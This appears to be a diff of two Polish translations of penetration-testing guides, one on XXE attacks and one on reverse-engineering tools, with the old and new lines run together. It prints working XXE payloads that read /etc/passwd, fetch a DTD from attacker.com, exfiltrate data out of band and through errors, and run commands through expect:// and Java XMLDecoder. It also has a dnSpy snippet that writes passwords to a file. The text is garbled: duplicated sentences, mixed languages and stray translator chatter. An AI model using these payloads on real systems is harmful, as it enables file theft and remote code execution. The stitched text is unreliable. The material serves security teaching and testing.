Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji.
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Napastnik może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób:
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -169,7 +169,7 @@ Zarysowane kroki są realizowane przez ten DTD:
- Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`.
- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, na który liczy eksploitat.
- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`.
```xml
@ -188,18 +188,18 @@ Zarysowane kroki są realizowane przez ten DTD:
```
![](<../images/image (625).png>)
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Dla uzyskania dodatkowych informacji sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
Aby uzyskać więcej informacji, sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Znajdowanie DTD w systemie
W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
W następującym wspaniałym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
@ -221,17 +221,17 @@ Testing 0 entities : []
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają określone szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zanalizować przynajmniej jeden plik XML.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML.
Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP.
Zmodyfikowane linie XML powinny być wstawione między dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań.
Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań.
Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
Teraz utworzony plik może zostać przesłany do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
### Jar: protokół
@ -251,13 +251,13 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
4. Odczytywany jest konkretny plik w archiwum, `file.zip`.
5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego na czas nieokreślony podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
Interesującą techniką przerywania tego procesu na drugim etapie jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!CAUTION]
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takich jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
> [!OSTRZEŻENIE]
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżki** (takiej jak lokalne dołączenie pliku, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
### XSS
```xml
@ -304,15 +304,15 @@ i wysyłając następujące żądanie
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Możesz spróbować złamać hash za pomocą hashcat
Then you can try to crack the hash using hashcat
## Ukryte powierzchnie XXE
## Hidden XXE Surfaces
### XInclude
Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w żądaniach SOAP w backendzie, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w zapytaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak można sformułować:
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,7 +320,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
### SVG - Przesyłanie plików
Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystywać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity).
@ -334,11 +334,11 @@ Inna metoda polega na próbie **wykonania poleceń** za pomocą wrappera PHP "ex
<image xlink:href="expect://ls"></image>
</svg>
```
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML w oprogramowaniu serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
**Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.**
**Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.**
### **PDF - Przesyłanie plików**
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:
Wtedy możesz być w stanie złożyć następujące żądanie, uzyskując ten sam wynik:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -368,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Z JSON do XEE
Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie "**Content Type Converter**". [Tutaj](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) znajdziesz ten przykład:
Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
```xml
Content-Type: application/json;charset=UTF-8
@ -408,7 +408,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
### UTF-7
Możesz użyć \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) przekształcić na UTF-7.
Możesz użyć \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) przekształcić na UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -430,7 +430,7 @@ Jeśli strona używa Javy, możesz sprawdzić [**jar: protocol**](xxe-xee-xml-ex
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Możesz stworzyć **encję wewnątrz encji** kodując ją za pomocą **html entities** i następnie wywołać ją, aby **załadować dtd**.\
Zauważ, że używane **HTML Entities** muszą być **numeryczne** (jak \[w tym przykładzie]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
Zauważ, że używane **HTML Entities** muszą być **numeryczne** (jak \[w tym przykładzie]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -452,11 +452,11 @@ Przykład DTD:
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Ekstrakcja zasobów zewnętrznych**
#### **Ekstrakcja zewnętrznego zasobu**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Wykonanie zdalnego kodu
### Zdalne wykonanie kodu
**Jeśli moduł PHP "expect" jest załadowany**
```xml
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Jednak to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominając o problemie z deklaracjami znaczników:
Jednakże, to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominając o problemie z deklaracjami znaczników:
```json
{
"status": 500,
@ -500,9 +500,9 @@ Jednak to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominaj
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
Mimo błędu, rejestruje się trafienie w Burp Collaborator, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
Pomimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie:
Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -516,7 +516,7 @@ Content-Type: application/x-xliff+xml
```
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -609,9 +609,9 @@ Używając filtru base64 w PHP
```
## Java XMLDecoder XEE do RCE
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
### Używając Runtime().exec()
### Używanie Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">

View File

@ -13,7 +13,7 @@ Oprogramowanie:
Online:
- Użyj [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), aby **dekompilować** z wasm (binarnego) do wat (czystego tekstu)
- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **kompilować** z wat do wasm
- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **skompilować** z wat do wasm
- możesz także spróbować użyć [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/), aby dekompilować
Oprogramowanie:
@ -27,7 +27,7 @@ Oprogramowanie:
dotPeek to dekompilator, który **dekompiluje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) oraz **wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po zdekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.**
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po dekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -37,13 +37,13 @@ Dzięki kompleksowemu modelowi dodatków i API, które rozszerza narzędzie, aby
- Zapewnia wgląd w implementację i użycie języków i frameworków .NET
- Znajduje nieudokumentowane i nieujawnione funkcjonalności, aby uzyskać więcej z używanych API i technologii.
- Znajduje zależności i różne zestawy
- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach firm trzecich.
- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach stron trzecich.
- Debuguje źródło całego kodu .NET, z którym pracujesz.
### [ILSpy](https://github.com/icsharpcode/ILSpy) i [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Plugin ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz go mieć w każdym systemie operacyjnym (możesz zainstalować go bezpośrednio z VSCode, nie ma potrzeby pobierania gita. Kliknij na **Rozszerzenia** i **wyszukaj ILSpy**).\
Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modyfikuj metodę**, aby zmienić coś wewnątrz funkcji).
Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modyfikuj metodę**, aby zmienić coś w funkcji).
### Logowanie DNSpy
@ -53,7 +53,7 @@ using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
```
### Debugowanie DNSpy
### DNSpy Debugging
Aby debugować kod za pomocą DNSpy, musisz:
@ -63,28 +63,28 @@ Najpierw zmienić **atrybuty Assembly** związane z **debugowaniem**:
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
Nie rozumiem, co chcesz, żebym przetłumaczył. Proszę podaj tekst do tłumaczenia.
I'm sorry, but it seems that there is no content provided for translation. Please provide the text you would like me to translate.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
A następnie kliknij na **compile**:
I kliknij na **kompiluj**:
![](<../../images/image (314) (1).png>)
Następnie zapisz nowy plik za pomocą _**File >> Save module...**_:
Następnie zapisz nowy plik za pomocą _**Plik >> Zapisz moduł...**_:
![](<../../images/image (602).png>)
Jest to konieczne, ponieważ jeśli tego nie zrobisz, w **czasie wykonywania** kilka **optymalizacji** zostanie zastosowanych do kodu i może się zdarzyć, że podczas debugowania **punkt przerwania nigdy nie zostanie osiągnięty** lub niektóre **zmienne nie istnieją**.
Następnie, jeśli Twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **zrestartować** za pomocą:
Następnie, jeśli twoja aplikacja .NET jest **uruchamiana** przez **IIS**, możesz ją **zrestartować** za pomocą:
```
iisreset /noforce
```
Aby rozpocząć debugowanie, powinieneś zamknąć wszystkie otwarte pliki, a w **Debug Tab** wybrać **Attach to Process...**:
Aby rozpocząć debugowanie, powinieneś zamknąć wszystkie otwarte pliki, a następnie w **Debug Tab** wybrać **Attach to Process...**:
![](<../../images/image (318).png>)
@ -121,7 +121,7 @@ Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i klikni
![](<../../images/image (868).png>)
- Skonfiguruj **parametry** wykonania, podając **ścieżkę do DLL** i funkcję, którą chcesz wywołać:
- Skonfiguruj **parametry** wykonania, podając **ścieżkę do DLL** oraz funkcję, którą chcesz wywołać:
![](<../../images/image (704).png>)
@ -134,27 +134,27 @@ Ale jak możesz dotrzeć do kodu DLL, która została załadowana? Używając te
- **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe)
- **Zmień linię poleceń** (_File --> Change Command Line_) i ustaw ścieżkę do dll oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Zmień _Options --> Settings_ i wybierz "**DLL Entry**".
- Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej dll, w pewnym momencie **zatrzymasz się w wejściu dll twojej dll**. Stamtąd po prostu poszukaj punktów, w których chcesz ustawić punkt przerwania.
- Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej DLL, w pewnym momencie **zatrzymasz się w wejściu DLL twojej DLL**. Stamtąd po prostu poszukaj punktów, w których chcesz ustawić punkt przerwania.
Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w którym kodzie jesteś**, patrząc na **górę okna win64dbg**:
![](<../../images/image (842).png>)
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w dll, którą chcesz debugować.
Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzymane w DLL, którą chcesz debugować.
## Aplikacje GUI / Gry wideo
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania, gdzie ważne wartości są zapisywane w pamięci działającej gry i ich zmieniania. Więcej informacji w:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) to przydatny program do znajdowania, gdzie ważne wartości są zapisywane w pamięci działającej gry i ich zmiany. Więcej informacji w:
{{#ref}}
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-end/odwróconego inżynierii dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z odwróconą inżynierią rzeczy.
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-end/odwróconego inżynierii dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z odwróconym inżynierią rzeczy.
[**Decompiler Explorer**](https://dogbolt.org/) to internetowy front-end dla wielu dekompilatorów. Ta usługa internetowa pozwala porównywać wyniki różnych dekompilatorów na małych plikach wykonywalnych.
## ARM i MIPS
## ARM & MIPS
{{#ref}}
https://github.com/nongiach/arm_now
@ -167,7 +167,7 @@ https://github.com/nongiach/arm_now
